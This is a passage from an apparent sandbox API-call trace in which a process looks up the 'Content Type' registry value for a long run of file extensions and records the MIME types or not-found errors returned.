(hKey=0x1c6) returned 0x0 [0182.846] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".srf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.846] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/SRF", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.847] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.847] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".srw", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.847] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/SRW", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.848] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.848] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sr_", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.848] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.849] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.849] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sst", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.850] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x42) returned 0xea [0182.850] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc000282500, lpcbData=0xc0006b98fc*=0x42 | out: lpType=0xc0006b98f8*=0x1, lpData="application/vnd.ms-pki.certstore", lpcbData=0xc0006b98fc*=0x42) returned 0x0 [0182.850] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.850] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".stl", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.851] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.851] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.851] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".stm", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.852] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.852] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.852] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".svg", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.852] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/svg+xml", lpcbData=0xc0006b98fc*=0x1c) returned 0x0 [0182.853] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.853] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".swf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.853] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-shockwave-flash", lpcbData=0xc0006b98fc*=0x3c) returned 0x0 [0182.854] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.854] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sym", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.854] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.854] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.855] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".symlink", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.855] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.855] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.856] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sys", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.857] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.857] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.857] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sy_", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.857] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.858] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.858] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".tab", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.858] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.859] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.859] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".tar", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.859] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-tar", lpcbData=0xc0006b98fc*=0x24) returned 0x0 [0182.859] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.860] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".tdl", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.860] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.860] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.860] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".text", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.861] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.861] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.861] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".tgz", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.862] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-compressed", lpcbData=0xc0006b98fc*=0x32) returned 0x0 [0182.862] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.862] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".theme", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.863] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.863] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.863] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".themepack", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.863] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.864] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.864] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".thumb", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.864] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.864] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.864] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".tif", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.865] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/tiff", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.866] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.866] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".tiff", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.866] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/tiff", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.867] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.867] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".tlb", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.867] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.868] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.868] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".tlh", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.868] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.869] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.869] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".tli", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.869] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.869] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.870] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".tod", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.870] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/mpeg", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.870] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.871] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".trg", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.871] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.871] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.871] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ts", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.872] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/vnd.dlna.mpeg-tts", lpcbData=0xc0006b98fc*=0x30) returned 0x0 [0182.872] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.873] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".tsp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.873] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.873] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.873] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".tsv", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.874] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.874] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.874] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ttc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.874] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.875] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.875] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ttf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.875] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.876] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.876] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".tts", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.876] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/vnd.dlna.mpeg-tts", lpcbData=0xc0006b98fc*=0x30) returned 0x0 [0182.877] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.877] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".txt", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.877] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/plain", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.878] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.878] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".udf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.878] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.878] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.879] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".UDL", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.879] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.879] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.880] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".udt", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.880] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.880] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.881] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".URL", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.881] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.882] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.882] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".user", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.883] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.883] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.883] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".usr", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.883] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.884] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.884] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".uvu", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.884] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/vnd.dece.mp4", lpcbData=0xc0006b98fc*=0x26) returned 0x0 [0182.885] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.885] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".VBE", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.885] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.886] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.886] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vbproj", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.886] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.887] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.887] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vbs", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.887] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.887] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.888] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vbx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.888] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.888] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.888] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vcf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.889] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/x-vcard", lpcbData=0xc0006b98fc*=0x1a) returned 0x0 [0182.889] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.890] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vcproj", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.890] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.890] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.890] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vhd", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.891] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.891] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.891] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vhdpmem", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.892] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.892] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.892] 